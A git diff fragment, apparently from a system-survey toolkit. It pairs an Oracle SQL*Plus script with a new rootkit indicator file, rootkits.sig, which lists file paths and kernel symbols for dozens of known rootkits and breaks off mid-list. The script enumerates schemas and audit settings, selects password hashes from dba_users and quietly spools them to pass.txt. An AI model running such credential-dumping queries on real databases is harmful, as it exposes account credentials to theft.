AND + owner != 'QS_CBADM' AND + owner != 'QS_CS' AND + owner != 'QS_ES' AND + owner != 'QS_OS' AND + owner != 'QS_WS' AND + owner != 'RMAN'AND + owner != 'SCOTT' AND + owner != 'SH' AND + owner != 'SI_INFORMTN_SCHEMA' AND + owner != 'SPATIAL_CSW_ADMIN_USR' AND + owner != 'SPATIAL_WFS_ADMIN_USR' AND + owner != 'SYSMAN' AND + owner != 'TSMSYS' AND + owner != 'WKPROXY' AND + owner != 'WKSYS' AND + owner != 'WK_TEST' AND + owner != 'WMSYS' AND + owner != 'XDB' AND + owner != 'XS$NULL' +group by owner; + +spool off + +set termout on + +prompt +prompt +prompt Users of Interest: +prompt ------------------ +prompt +ttitle "Passwords" skip, skip +column username format a25 +column password format a25 +select username, password from dba_users +where username != 'SYS' AND + username != 'SYSTEM' AND + username != 'ANONYMOUS' AND + username != 'APEX_PUBLIC_USER' AND + username != 'AURORA$JIS$UTILITY$' AND + username != 'AURORA$ORB$UNAUTHENTICATED' AND + username != 'BI' AND + username != 'CTXSYS' AND + username != 'DBADMIN' AND + username != 'DBSNMP' AND + username != 'DEMO' AND + username != 'DIP' AND + username != 'DMSYS' AND + username != 'DRSYS' AND + username != 'EXFSYS' AND + username != 'FLOWS_030000' AND + username != 'FLOWS_FILES' AND + username != 'HR' AND + username != 'IX' AND + username != 'MDDATA' AND + username != 'MDSYS' AND + username != 'MGMT_VIEW' AND + username != 'MTSSYS' AND + username != 'ODM' AND + username != 'ODM_MTR' AND + username != 'OE' AND + username != 'OLAPDBA' AND + username != 'OLAPSVR' AND + username != 'OLAPSYS' AND + username != 'ORA_MONITOR' AND + username != 'ORACLE_OCM' AND + username != 'ORDPLUGINS' AND + username != 'ORDSYS' AND + username != 'OSE$HTTP$ADMIN' AND + username != 'OUTLN' AND + username != 'OWBSYS' AND + username != 'PM' AND + username != 'PUBLIC' AND + username != 'QS' AND + username != 'QS_ADM' AND + username != 'QS_CB' AND + username != 'QS_CBADM' AND + username != 'QS_CS' AND + username != 'QS_ES' AND + username != 'QS_OS' AND + username != 'QS_WS' AND + username != 'RMAN'AND + username != 'SCOTT' AND + username != 'SH' AND + username != 'SI_INFORMTN_SCHEMA' AND + username != 'SPATIAL_CSW_ADMIN_USR' AND + username != 'SPATIAL_WFS_ADMIN_USR' AND + username != 'SYSMAN' AND + username != 'TSMSYS' AND + username != 'WKPROXY' AND + username != 'WKSYS' AND + username != 'WK_TEST' AND + username != 'WMSYS' AND + username != 'XDB' AND + username != 'XS$NULL' +order by username; +prompt ---------------------------------------- + +prompt +ttitle 'Object Counts for Users of Interest' skip skip +prompt ------------------------------------- + +prompt +col ow format a18 heading 'Owner' +col ta format 999,999 heading 'Tables' +col ve format 999,999 heading 'Views' + +select owner ow, + sum(decode(object_type,'TABLE',1,0)) ta , + sum(decode(object_type,'VIEW',1,0)) ve +from dba_objects +where owner != 'SYS' AND + owner != 'SYSTEM' AND + owner != 'ANONYMOUS' AND + owner != 'APEX_PUBLIC_USER' AND + owner != 'AURORA$JIS$UTILITY$' AND + owner != 'AURORA$ORB$UNAUTHENTICATED' AND + owner != 'BI' AND + owner != 'CTXSYS' AND + owner != 'DBADMIN' AND + owner != 'DBSNMP' AND + owner != 'DEMO' AND + owner != 'DIP' AND + owner != 'DMSYS' AND + owner != 'DRSYS' AND + owner != 'EXFSYS' AND + owner != 'FLOWS_030000' AND + owner != 'FLOWS_FILES' AND + owner != 'HR' AND + owner != 'IX' AND + owner != 'MDDATA' AND + owner != 'MDSYS' AND + owner != 'MGMT_VIEW' AND + owner != 'MTSSYS' AND + owner != 'ODM' AND + owner != 'ODM_MTR' AND + owner != 'OE' AND + owner != 'OLAPDBA' AND + owner != 'OLAPSVR' AND + owner != 'OLAPSYS' AND + owner != 'ORA_MONITOR' AND + owner != 'ORACLE_OCM' AND + owner != 'ORDPLUGINS' AND + owner != 'ORDSYS' AND + owner != 'OSE$HTTP$ADMIN' AND + owner != 'OUTLN' AND + owner != 'OWBSYS' AND + owner != 'PM' AND + owner != 'PUBLIC' AND + owner != 'QS' AND + owner != 'QS_ADM' AND + owner != 'QS_CB' AND + owner != 'QS_CBADM' AND + owner != 'QS_CS' AND + owner != 'QS_ES' AND + owner != 'QS_OS' AND + owner != 'QS_WS' AND + owner != 'RMAN'AND + owner != 'SCOTT' AND + owner != 'SH' AND + owner != 'SI_INFORMTN_SCHEMA' AND + owner != 'SPATIAL_CSW_ADMIN_USR' AND + owner != 'SPATIAL_WFS_ADMIN_USR' AND + owner != 'SYSMAN' AND + owner != 'TSMSYS' AND + owner != 'WKPROXY' AND + owner != 'WKSYS' AND + owner != 'WK_TEST' AND + owner != 'WMSYS' AND + owner != 'XDB' AND + owner != 'XS$NULL' +group by owner +order by ta; +prompt ---------------------------------------- + +prompt + +ttitle off +set heading off + +prompt ---------------------------------------------------------------------------- + +prompt +prompt +prompt +ttitle "Auditing Parameters Of Interest" skip, skip +prompt --------------------------------- + +column name format a30 wrapped +column value format a50 wrapped +select name, value +from v$parameter +where name like 'audit%'; + +prompt ---------------------------------------------------------------------------- + +prompt +prompt +prompt +ttitle "Language Parameters Of Interest" skip, skip +prompt --------------------------------- + +select * from NLS_DATABASE_PARAMETERS where PARAMETER like '%CHARACTERSET'; +prompt +prompt +prompt + +prompt Run this to set the NLS_LANG variable: +prompt --------------------------------------- + +select '-setenv NLS_LANG=AMERICAN_AMERICA.' || value from NLS_DATABASE_PARAMETERS where PARAMETER = 'NLS_CHARACTERSET'; +prompt +prompt ---------------------------------------------------------------------------- + +prompt +prompt +prompt + +set termout off +set heading on +spool pass.txt +prompt +prompt ---------------------------------------------- + +prompt +column username format a25 +column password format a25 +select username, password from dba_users +where username != 'ANONYMOUS' AND + username != 'APEX_PUBLIC_USER' AND + username != 'AURORA$JIS$UTILITY$' AND + username != 'AURORA$ORB$UNAUTHENTICATED' AND + username != 'BI' AND + username != 'CTXSYS' AND + username != 'DBADMIN' AND + username != 'DBSNMP' AND + username != 'DEMO' AND + username != 'DIP' AND + username != 'DMSYS' AND + username != 'DRSYS' AND + username != 'EXFSYS' AND + username != 'FLOWS_030000' AND + username != 'FLOWS_FILES' AND + username != 'HR' AND + username != 'IX' AND + username != 'MDDATA' AND + username != 'MDSYS' AND + username != 'MGMT_VIEW' AND + username != 'MTSSYS' AND + username != 'ODM' AND + username != 'ODM_MTR' AND + username != 'OE' AND + username != 'OLAPDBA' AND + username != 'OLAPSVR' AND + username != 'OLAPSYS' AND + username != 'ORA_MONITOR' AND + username != 'ORACLE_OCM' AND + username != 'ORDPLUGINS' AND + username != 'ORDSYS' AND + username != 'OSE$HTTP$ADMIN' AND + username != 'OUTLN' AND + username != 'OWBSYS' AND + username != 'PM' AND + username != 'PUBLIC' AND + username != 'QS' AND + username != 'QS_ADM' AND + username != 'QS_CB' AND + username != 'QS_CBADM' AND + username != 'QS_CS' AND + username != 'QS_ES' AND + username != 'QS_OS' AND + username != 'QS_WS' AND + username != 'RMAN'AND + username != 'SCOTT' AND + username != 'SH' AND + username != 'SI_INFORMTN_SCHEMA' AND + username != 'SPATIAL_CSW_ADMIN_USR' AND + username != 'SPATIAL_WFS_ADMIN_USR' AND + username != 'SYSMAN' AND + username != 'TSMSYS' AND + username != 'WKPROXY' AND + username != 'WKSYS' AND + username != 'WK_TEST' AND + username != 'WMSYS' AND + username != 'XDB' AND + username != 'XS$NULL' +order by username; +prompt ---------------------------------------------------- + +prompt +spool off + + diff --git a/Linux/etc/rootkits.sig b/Linux/etc/rootkits.sig new file mode 100644 index 0000000..71f159f --- /dev/null +++ b/Linux/etc/rootkits.sig @@ -0,0 +1,1499 @@ +[55808A] +Files: /tmp/.../r + /tmp/.../a +Dirs: +Users: +Ksyms: + +[aPa] +Files: /usr/share/.aPa +Dirs: +Users: +Ksyms: + +[Adore] +Files: /usr/secure + /usr/doc/sys/qrt + /usr/doc/sys/run + /usr/doc/sys/crond + /usr/sbin/kfd + /usr/doc/kern/var + /usr/doc/kern/string.o + /usr/doc/kern/ava + /usr/doc/kern/adore.o + /var/log/ssh/old + /usr/lib/red.tar + /usr/lib/start.sh + /usr/lib/klogd.o + /usr/lib/0anacron-bak + /usr/lib/adore + /usr/bin/red.tar + /usr/bin/start.sh + /usr/bin/klogd.o + /usr/bin/0anacron-bak + /usr/bin/adore + /usr/lib/lib + /usr/lib/libt +Dirs: /lib/security/.config/ssh + /usr/doc/kern + /usr/doc/backup + /usr/doc/backup/txt + /lib/backup + /lib/backup/txt + /usr/doc/work + /usr/doc/sys + /var/log/ssh + /usr/doc/.spool + /usr/lib/kterm +Users: +Ksyms: adore + sebek + +[AjaKit] +Files: /dev/tux/.addr + /dev/tux/.proc + /dev/tux/.file + /lib/.libgh-gh/cleaner + /lib/.libgh-gh/Patch/patch + /lib/.libgh-gh/sb0k +Dirs: /dev/tux + /lib/.libgh-gh + /lib/.ligh.gh + /lib/.ligh-gh +Users: +Ksyms: + +[Apache Worm] +Files: /bin/.log +Dirs: +Users: +Ksyms: + +[ark] +Files: /usr/lib/.ark? + /dev/ptyxx/.log + /dev/ptyxx/.file + /dev/ptyxx/.proc + /dev/ptyxx/.addr +Dirs: /dev/ptyxx +Users: +Ksyms: + +[Balaur / Showtee] +Files: /usr/lib/liblog.o + /usr/include/addr.h + /usr/include/cron.h + /usr/include/file.h + /usr/include/proc.h + /usr/include/syslogs.h + /usr/include/chk.h +Dirs: /usr/lib/.kinetic + /usr/lib/.egcs + /usr/lib/.wormie +Users: +Ksyms: + +[Beastkit] +Files: /usr/sbin/arobia + /usr/sbin/idrun + /usr/lib/elm/arobia/elm + /usr/lib/elm/arobia/elm/hk + /usr/lib/elm/arobia/elm/hk.pub + /usr/lib/elm/arobia/elm/sc + /usr/lib/elm/arobia/elm/sd.pp + /usr/lib/elm/arobia/elm/sdco + /usr/lib/elm/arobia/elm/srsd +Dirs: /lib/ldd.so/bktools +Users: +Ksyms: + +[beX2] +Files: /usr/info/termcap.info-5.gz + /usr/bin/sshd2 +Dirs: /usr/include/bex +Users: +Ksyms: + +[BOBkit] +Files: /usr/sbin/ntpsx + /usr/sbin/.../bkit-ava + /usr/sbin/.../bkit-d + /usr/sbin/.../bkit-shd + /usr/sbin/.../bkit-f + /usr/include/.../proc.h + /usr/include/.../.bash_history + /usr/include/.../bkit-get + /usr/include/.../bkit-dl + /usr/include/.../bkit-screen + /usr/include/.../bkit-sleep + /usr/lib/.../bkit-adore.o + /usr/lib/.../ls + /usr/lib/.../netstat + /usr/lib/.../lsof + /usr/lib/.../bkit-ssh/bkit-shdcfg + /usr/lib/.../bkit-ssh/bkit-shhk + /usr/lib/.../bkit-ssh/bkit-pw + /usr/lib/.../bkit-ssh/bkit-shrs + /usr/lib/.../bkit-ssh/bkit-mots + /usr/lib/.../uconf.inv + /usr/lib/.../psr + /usr/lib/.../find + /usr/lib/.../pstree + /usr/lib/.../slocate + /usr/lib/.../du + /usr/lib/.../top +Dirs: /usr/sbin/... + /usr/include/... + /usr/include/.../.tmp + /usr/lib/... + /usr/lib/.../.ssh + /usr/lib/.../bkit-ssh + /usr/lib/.bkit- + /tmp/.bkp +Users: +Ksyms: + +[Koobface.A / Boonana-A Trojan] +Files: /Library/StartupItems/OSXDriverUpdates/OSXDriverUpdates + /Library/StartupItems/OSXDriverUpdates/StartupParameters.plist +Dirs: /var/root/.jnana +Users: +Ksyms: + +[cb] +Files: /dev/srd0 + /lib/libproc.so.2.0.6 + /dev/mounnt + /etc/rc.d/init.d/init + /usr/bin/.zeen/..%/cl + /usr/bin/.zeen/..%/.x.tgz + /usr/bin/.zeen/..%/statdx + /usr/bin/.zeen/..%/wted + /usr/bin/.zeen/..%/write + /usr/bin/.zeen/..%/scan + /usr/bin/.zeen/..%/sc + /usr/bin/.zeen/..%/sl2 + /usr/bin/.zeen/..%/wroot + /usr/bin/.zeen/..%/wscan + /usr/bin/.zeen/..%/wu + /usr/bin/.zeen/..%/v + /usr/bin/.zeen/..%/read + /usr/lib/sshrc + /usr/lib/ssh_host_key + /usr/lib/ssh_host_key.pub + /usr/lib/ssh_random_seed + /usr/lib/sshd_config + /usr/lib/shosts.equiv + /usr/lib/ssh_known_hosts + /u/zappa/.ssh/pid + /usr/bin/.system/..%/tcp.log + /usr/bin/.zeen/..%/curatare/attrib + /usr/bin/.zeen/..%/curatare/chattr + /usr/bin/.zeen/..%/curatare/ps + /usr/bin/.zeen/..%/curatare/pstree + /usr/bin/.system/..%/.x/xC.o +Dirs: /usr/bin/.zeen + /usr/bin/.zeen/..%/curatare + /usr/bin/.zeen/..%/scan + /usr/bin/.system/..% +Users: +Ksyms: + +[CiNIK] +Files: /tmp/.cinik +Dirs: /tmp/.font-unix/.cink +Users: +Ksyms: + +[CX] +Files: /usr/lib/ldlibso + /usr/lib/configlibso + /usr/lib/shklibso + /usr/lib/randomlibso + /usr/lib/ldlibstrings.so + /usr/lib/ldlibdu.so + /usr/lib/ldlibns.so + /usr/include/db +Dirs: /usr/include/cxk +Users: +Ksyms: + +[libX / Danny-Boy's Abuse Kit] +Files: /dev/mdev + /usr/lib/libX.a +Dirs: +Users: +Ksyms: + +[Devil] +Files: /var/lib/games/.src + /dev/dsx + /dev/caca + /dev/pro + /bin/bye + /bin/homedir + /usr/bin/xfss + /usr/sbin/tzava + /usr/doc/tar/.../.dracusor/stuff/holber + /usr/doc/tar/.../.dracusor/stuff/sense + /usr/doc/tar/.../.dracusor/stuff/clear + /usr/doc/tar/.../.dracusor/stuff/tzava + /usr/doc/tar/.../.dracusor/stuff/citeste + /usr/doc/tar/.../.dracusor/stuff/killrk + /usr/doc/tar/.../.dracusor/stuff/searchlog + /usr/doc/tar/.../.dracusor/stuff/gaoaza + /usr/doc/tar/.../.dracusor/stuff/cleaner + /usr/doc/tar/.../.dracusor/stuff/shk + /usr/doc/tar/.../.dracusor/stuff/srs + /usr/doc/tar/.../.dracusor/utile.tgz + /usr/doc/tar/.../.dracusor/webpage + /usr/doc/tar/.../.dracusor/getpsy + /usr/doc/tar/.../.dracusor/getbnc + /usr/doc/tar/.../.dracusor/getemech + /usr/doc/tar/.../.dracusor/localroot.sh + /usr/doc/tar/.../.dracusor/stuff/old/sense +Dirs: /usr/doc/tar/.../.dracusor +Users: +Ksyms: + +[Dica-Kit] +Files: /lib/.sso + /lib/.so + /var/run/...dica/clean + /var/run/...dica/dxr + /var/run/...dica/read + /var/run/...dica/write + /var/run/...dica/lf + /var/run/...dica/xl + /var/run/...dica/xdr + /var/run/...dica/psg + /var/run/...dica/secure + /var/run/...dica/rdx + /var/run/...dica/va + /var/run/...dica/cl.sh + /var/run/...dica/last.log + /usr/bin/.etc + /etc/sshd_config + /etc/ssh_host_key + /etc/ssh_random_seed +Dirs: /var/run/...dica + /var/run/...dica/mh + /var/run/...dica/scan +Users: +Ksyms: + +[Dreams] +Files: /dev/ttyoa + /dev/ttyof + /dev/ttyop + /usr/bin/sense + /usr/bin/sl2 + /usr/bin/logclear + /usr/bin/(swapd) + /usr/bin/initrd + /usr/bin/crontabs + /usr/bin/snfs + /usr/lib/libsss + /usr/lib/libsnf.log + /usr/lib/libshtift/top + /usr/lib/libshtift/ps + /usr/lib/libshtift/netstat + /usr/lib/libshtift/ls + /usr/lib/libshtift/ifconfig + /usr/include/linseed.h + /usr/include/linpid.h + /usr/include/linkey.h + /usr/include/linconf.h + /usr/include/iceseed.h + /usr/include/icepid.h + /usr/include/icekey.h + /usr/include/iceconf.h +Dirs: /dev/ida/.hpd + /usr/lib/libshtift +Users: +Ksyms: + +[Duarawkz] +Files: /usr/bin/duarawkz/loginpass +Dirs: /usr/bin/duarawkz +Users: +Ksyms: + +[EnyeLKM] +Files: /etc/.enyelkmHIDE^IT.ko + /etc/.enyelkmOCULTAR.ko + /etc/.enyeOCULTAR.ko +Dirs: +Users: +Ksyms: + +[Flea Linux Rootkit] +Files: /etc/ld.so.hash + /lib/security/.config/ssh/sshd_config + /lib/security/.config/ssh/ssh_host_key + /lib/security/.config/ssh/ssh_host_key.pub + /lib/security/.config/ssh/ssh_random_seed + /usr/bin/ssh2d + /usr/lib/ldlibns.so + /usr/lib/ldlibps.so + /usr/lib/ldlibpst.so + /usr/lib/ldlibdu.so + /usr/lib/ldlibct.so +Dirs: /lib/security/.config/ssh + /dev/..0 + /dev/..0/backup +Users: +Ksyms: + +[FreeBSD Rootkit] +Files: /dev/ptyp + /dev/ptyq + /dev/ptyr + /dev/ptys + /dev/ptyt + /dev/fd/.88/freshb-bsd + /dev/fd/.88/fresht + /dev/fd/.88/zxsniff + /dev/fd/.88/zxsniff.log + /dev/fd/.99/.ttyf00 + /dev/fd/.99/.ttyp00 + /dev/fd/.99/.ttyq00 + /dev/fd/.99/.ttys00 + /dev/fd/.99/.pwsx00 + /etc/.acid + /usr/lib/.fx/sched_host.2 + /usr/lib/.fx/random_d.2 + /usr/lib/.fx/set_pid.2 + /usr/lib/.fx/setrgrp.2 + /usr/lib/.fx/TOHIDE + /usr/lib/.fx/cons.saver + /usr/lib/.fx/adore/ava/ava + /usr/lib/.fx/adore/adore/adore.ko + /bin/sysback + /usr/local/bin/sysback +Dirs: /dev/fd/.88 + /dev/fd/.99 + /usr/lib/.fx + /usr/lib/.fx/adore +Users: +Ksyms: + +[Fu Rootkit] +Files: /sbin/sc + /usr/include/ivtype.h + /bin/.lib +Dirs: +Users: +Ksyms: + +[Fuckit] +Files: /lib/libproc.so.2.0.7 + /dev/proc/.bash_profile + /dev/proc/.bashrc + /dev/proc/.cshrc + /dev/proc/fuckit/hax0r + /dev/proc/fuckit/hax0rshell + /dev/proc/fuckit/config/lports + /dev/proc/fuckit/config/rports + /dev/proc/fuckit/config/rkconf + /dev/proc/fuckit/config/password + /dev/proc/fuckit/config/progs + /dev/proc/fuckit/system-bins/init + /usr/lib/libcps.a + /usr/lib/libtty.a +Dirs: /dev/proc + /dev/proc/fuckit + /dev/proc/fuckit/system-bins + /dev/proc/toolz +Users: +Ksyms: + +[GasKit] +Files: /dev/dev/gaskit/sshd/sshdd +Dirs: /dev/dev + /dev/dev/gaskit + /dev/dev/gaskit/sshd +Users: +Ksyms: + +[Gold2] +Files: /usr/bin/ishit +Dirs: +Users: +Ksyms: + +[Heroin] +Files: +Dirs: +Users: +Ksyms: heroin + +[HjC Kit] +Files: +Dirs: /dev/.hijackerz +Users: +Ksyms: + +[ignoKit] +Files: /lib/defs/p + /lib/defs/q + /lib/defs/r + /lib/defs/s + /lib/defs/t + /usr/lib/defs/p + /usr/lib/defs/q + /usr/lib/defs/r + /usr/lib/defs/s + /usr/lib/defs/t + /usr/lib/.libigno/pkunsec + /usr/lib/.libigno/.igno/psybnc/psybnc +Dirs: /usr/lib/.libigno + /usr/lib/.libigno/.igno +Users: +Ksyms: + +[iLLogiC] +Files: /dev/kmod + /dev/dos + /usr/lib/crth.o + /usr/lib/crtz.o + /etc/ld.so.hash + /usr/bin/sia + /usr/bin/ssh2d + /lib/security/.config/sn + /lib/security/.config/iver + /lib/security/.config/uconf.inv + /lib/security/.config/ssh/ssh_host_key + /lib/security/.config/ssh/ssh_host_key.pub + /lib/security/.config/ssh/sshport + /lib/security/.config/ssh/ssh_random_seed + /lib/security/.config/ava + /lib/security/.config/cleaner + /lib/security/.config/lpsched + /lib/security/.config/sz + /lib/security/.config/rcp + /lib/security/.config/patcher + /lib/security/.config/pg + /lib/security/.config/crypt + /lib/security/.config/utime + /lib/security/.config/wget + /lib/security/.config/instmod + /lib/security/.config/bin/find + /lib/security/.config/bin/du + /lib/security/.config/bin/ls + /lib/security/.config/bin/psr + /lib/security/.config/bin/netstat + /lib/security/.config/bin/su + /lib/security/.config/bin/ping + /lib/security/.config/bin/passwd +Dirs: /lib/security/.config + /lib/security/.config/ssh + /lib/security/.config/bin + /lib/security/.config/backup + /root/%%%/.dir + /root/%%%/.dir/mass-scan + /root/%%%/.dir/flood +Users: +Ksyms: + +[OSX Inqtana A] +Files: /Users/w0rm-support.tgz + /Users/InqTest.class + /Users/com.openbundle.plist + /Users/com.pwned.plist + /Users/libavetanaBT.jnilib +Dirs: /Users/de + /Users/javax +Users: +Ksyms: + +[OSX Inqtana B] +Files: /Users/w0rms.love.apples.tgz + /Users/InqTest.class + /Users/InqTest.java + /Users/libavetanaBT.jnilib + /Users/InqTanaHandler + /Users/InqTanaHandler.bundle +Dirs: /Users/de + /Users/javax +Users: +Ksyms: + +[OSX Inqtana C] +Files: /Users/applec0re.tgz + /Users/InqTest.class + /Users/InqTest.java + /Users/libavetanaBT.jnilib + /Users/environment.plist + /Users/pwned.c + /Users/pwned.dylib +Dirs: /Users/de + /Users/javax +Users: +Ksyms: + +[IntoXonia-NG] +Files: +Dirs: +Users: +Ksyms: funces + ixinit + tricks + kernel_unlink + rootme + hide_module + find_sys_call_tbl + +[Irix] +Files: +Dirs: /dev/pts/01 + /dev/pts/01/backup + /dev/pts/01/etc + /dev/pts/01/tmp +Users: +Ksyms: + +[Jynx] +Files: /xochikit/bc + /xochikit/ld_poison.so + /omgxochi/bc + /omgxochi/ld_poison.so +Dirs: /xochikit + /omgxochi +Users: +Ksyms: + +[Kbeast] +Files: /usr/_h4x_/ipsecs-kbeast-v1.ko + /usr/_h4x_/_h4x_bd + /usr/_h4x_/acctlog +Dirs: /usr/_h4x_ +Users: +Ksyms: h4x_delete_module + h4x_getdents64 + h4x_kill + h4x_open + h4x_read + h4x_rename + h4x_rmdir + h4x_tcp4_seq_show + h4x_write + +[Kitko] +Files: +Dirs: /usr/src/redhat/SRPMS/... +Users: +Ksyms: + +[Knark] +Files: /proc/knark/pids +Dirs: /proc/knark +Users: +Ksyms: + +[ld-linuxv.so] +Files: /lib/ld-linuxv.so.1 +Dirs: /var/opt/_so_cache + /var/opt/_so_cache/ld + /var/opt/_so_cache/lc +Users: +Ksyms: + +[Lion] +Files: /bin/in.telnetd + /bin/mjy + /usr/man/man1/man1/lib/.lib/mjy + /usr/man/man1/man1/lib/.lib/in.telnetd + /usr/man/man1/man1/lib/.lib/.x + /dev/.lib/lib/scan/1i0n.sh + /dev/.lib/lib/scan/hack.sh + /dev/.lib/lib/scan/bind + /dev/.lib/lib/scan/randb + /dev/.lib/lib/scan/scan.sh + /dev/.lib/lib/scan/pscan + /dev/.lib/lib/scan/star.sh + /dev/.lib/lib/scan/bindx.sh + /dev/.lib/lib/scan/bindname.log + /dev/.lib/lib/1i0n.sh + /dev/.lib/lib/lib/netstat + /dev/.lib/lib/lib/dev/.1addr + /dev/.lib/lib/lib/dev/.1logz + /dev/.lib/lib/lib/dev/.1proc + /dev/.lib/lib/lib/dev/.1file +Dirs: +Users: +Ksyms: + +[Lockit] +Files: /usr/lib/libmen.oo/.LJK2/ssh_config + /usr/lib/libmen.oo/.LJK2/ssh_host_key + /usr/lib/libmen.oo/.LJK2/ssh_host_key.pub + /usr/lib/libmen.oo/.LJK2/ssh_random_seed* + /usr/lib/libmen.oo/.LJK2/sshd_config + /usr/lib/libmen.oo/.LJK2/backdoor/RK1bd + /usr/lib/libmen.oo/.LJK2/backup/du + /usr/lib/libmen.oo/.LJK2/backup/ifconfig + /usr/lib/libmen.oo/.LJK2/backup/inetd.conf + /usr/lib/libmen.oo/.LJK2/backup/locate + /usr/lib/libmen.oo/.LJK2/backup/login + /usr/lib/libmen.oo/.LJK2/backup/ls + /usr/lib/libmen.oo/.LJK2/backup/netstat + /usr/lib/libmen.oo/.LJK2/backup/ps + /usr/lib/libmen.oo/.LJK2/backup/pstree + /usr/lib/libmen.oo/.LJK2/backup/rc.sysinit + /usr/lib/libmen.oo/.LJK2/backup/syslogd + /usr/lib/libmen.oo/.LJK2/backup/tcpd + /usr/lib/libmen.oo/.LJK2/backup/top + /usr/lib/libmen.oo/.LJK2/clean/RK1sauber + /usr/lib/libmen.oo/.LJK2/clean/RK1wted + /usr/lib/libmen.oo/.LJK2/hack/RK1parse + /usr/lib/libmen.oo/.LJK2/hack/RK1sniff + /usr/lib/libmen.oo/.LJK2/hide/.RK1addr + /usr/lib/libmen.oo/.LJK2/hide/.RK1dir + /usr/lib/libmen.oo/.LJK2/hide/.RK1log + /usr/lib/libmen.oo/.LJK2/hide/.RK1proc + /usr/lib/libmen.oo/.LJK2/hide/RK1phidemod.c + /usr/lib/libmen.oo/.LJK2/modules/README.modules + /usr/lib/libmen.oo/.LJK2/modules/RK1hidem.c + /usr/lib/libmen.oo/.LJK2/modules/RK1phide + /usr/lib/libmen.oo/.LJK2/sshconfig/RK1ssh +Dirs: /usr/lib/libmen.oo/.LJK2 +Users: +Ksyms: + +[LOC rootkit] +Files: /tmp/xp + /tmp/kidd0.c +Dirs: +Users: +Ksyms: + +[Maniac] +Files: /usr/bin/mailrc +Dirs: +Users: +Ksyms: + +[Mithra] +Files: /usr/lib/locale/uboot +Dirs: +Users: +Ksyms: + +[MRK] +Files: /dev/ida/.inet/pid + /dev/ida/.inet/ssh_host_key + /dev/ida/.inet/ssh_random_seed + /dev/ida/.inet/tcp.log +Dirs: /dev/ida/.inet + /var/spool/cron/.sh +Users: +Ksyms: + +[Monkit] +Files: /lib/defs +Dirs: +Users: +Ksyms: + +[Mood-NT] +Files: /sbin/init__mood-nt-_-_cthulhu + /_cthulhu/mood-nt.init + /_cthulhu/mood-nt.conf + /_cthulhu/mood-nt.sniff +Dirs: /_cthulhu +Users: +Ksyms: + +[NiO] +Files: /var/lock/subsys/...datafile.../...net... + /var/lock/subsys/...datafile.../...port... + /var/lock/subsys/...datafile.../...ps... + /var/lock/subsys/...datafile.../...file... +Dirs: /tmp/waza + /var/lock/subsys/...datafile... + /usr/sbin/es +Users: +Ksyms: + +[Ohhara] +Files: /var/lock/subsys/...datafile.../...datafile.../in.smbd.log +Dirs: /var/lock/subsys/...datafile... + /var/lock/subsys/...datafile.../...datafile... + /var/lock/subsys/...datafile.../...datafile.../bin + /var/lock/subsys/...datafile.../...datafile.../usr/bin + /var/lock/subsys/...datafile.../...datafile.../usr/sbin + /var/lock/subsys/...datafile.../...datafile.../lib/security +Users: +Ksyms: + +[Omega] +Files: /dev/chr +Dirs: +Users: +Ksyms: + +[Optik] +Files: +Dirs: /dev/tux + /usr/bin/xchk + /usr/bin/xsf + /usr/bin/ssh2d +Users: +Ksyms: + +[OSXRK] +Files: /dev/.rk/nc + /dev/.rk/diepu + /dev/.rk/backd + /Library/StartupItems/opener + /Library/StartupItems/opener.sh + /System/Library/StartupItems/opener + /System/Library/StartupItems/opener.sh +Dirs: /dev/.rk + /Users/LDAP-daemon + /tmp/.work +Users: +Ksyms: + +[Oz] +Files: /dev/.oz/.nap/rkit/terror +Dirs: /dev/.oz +Users: +Ksyms: + +[Phalanx] +Files: /uNFuNF + /etc/host.ph1 + /bin/host.ph1 + /usr/share/.home.ph1/phalanx + /usr/share/.home.ph1/cb + /usr/share/.home.ph1/kebab +Dirs: /usr/share/.home.ph1 + /usr/share/.home.ph1/tty +Users: +Ksyms: + +[Phalanx2] +Files: /etc/khubd.p2/.p2rc + /etc/khubd.p2/.phalanx2 + /etc/khubd.p2/.sniff + /etc/khubd.p2/sshgrab.py + /etc/lolzz.p2/.p2rc + /etc/lolzz.p2/.phalanx2 + /etc/lolzz.p2/.sniff + /etc/lolzz.p2/sshgrab.py + /etc/cron.d/zupzzplaceholder + /usr/lib/zupzz.p2/.p-2.3d + /usr/lib/zupzz.p2/.p2rc +Dirs: /etc/khubd.p2 + /etc/lolzz.p2 + /usr/lib/zupzz.p2 +Users: +Ksyms: + +[Portacelo] +Files: /var/lib/.../.ak + /var/lib/.../.hk + /var/lib/.../.rs + /var/lib/.../.p + /var/lib/.../getty + /var/lib/.../lkt.o + /var/lib/.../show + /var/lib/.../nlkt.o + /var/lib/.../ssshrc + /var/lib/.../sssh_equiv + /var/lib/.../sssh_known_hosts + /var/lib/.../sssh_pid +Dirs: +Users: +Ksyms: + +[Ramen] +Files: /usr/src/.poop + /tmp/ramen.tgz + /etc/xinetd.d/asp +Dirs: +Users: +Ksyms: + +[R3dstorm] +Files: /var/log/tk02/see_all + /var/log/tk02/.scris + /bin/.../sshd/sbin/sshd1 + /bin/.../hate/sk + /bin/.../see_all +Dirs: /var/log/tk02 + /var/log/tk02/old + /bin/... +Users: +Ksyms: + +[RH-Sharpe] +Files: /bin/lps + /usr/bin/lpstree + /usr/bin/ltop + /usr/bin/lkillall + /usr/bin/ldu + /usr/bin/lnetstat + /usr/bin/wp + /usr/bin/shad + /usr/bin/vadim + /usr/bin/slice + /usr/bin/cleaner + /usr/include/rpcsvc/du +Dirs: +Users: +Ksyms: + +[RK17] +Files: /bin/rtty + /bin/squit + /sbin/pback + /usr/man/man3/psid + /proc/kset + /usr/src/linux/modules/autod.o + /usr/src/linux/modules/soundx.o + /usr/bin/gib + /usr/bin/ct + /usr/bin/snick + /usr/bin/kfl +Dirs: +Users: +Ksyms: + +[RSHA] +Files: /bin/kr4p + /usr/bin/n3tstat + /usr/bin/chsh2 + /usr/bin/slice2 + /usr/src/linux/arch/alpha/lib/.lib/.1proc + /etc/rc.d/arch/alpha/lib/.lib/.1addr +Dirs: /etc/rc.d/rsha + /etc/rc.d/arch/alpha/lib/.lib" +Users: +Ksyms: + +[Sadmind] +Files: /dev/cuc +Dirs: +Users: +Ksyms: + +[Shutdown Rootkit] +Files: /usr/man/man5/..\ /.dir/scannah/asus + /usr/man/man5/..\ /.dir/see + /usr/man/man5/..\ /.dir/nscd + /usr/man/man5/..\ /.dir/alpd + /etc/rc.d/rc.local\ +Dirs: /usr/man/man5/..\ /.dir + /usr/man/man5/..\ /.dir/scannah + /etc/rc.d/rc0.d/..\ /.dir +Users: +Ksyms: + +[Scalper] +Files: /tmp/.a + /tmp/.uua +Dirs: +Users: +Ksyms: + +[ShitC] 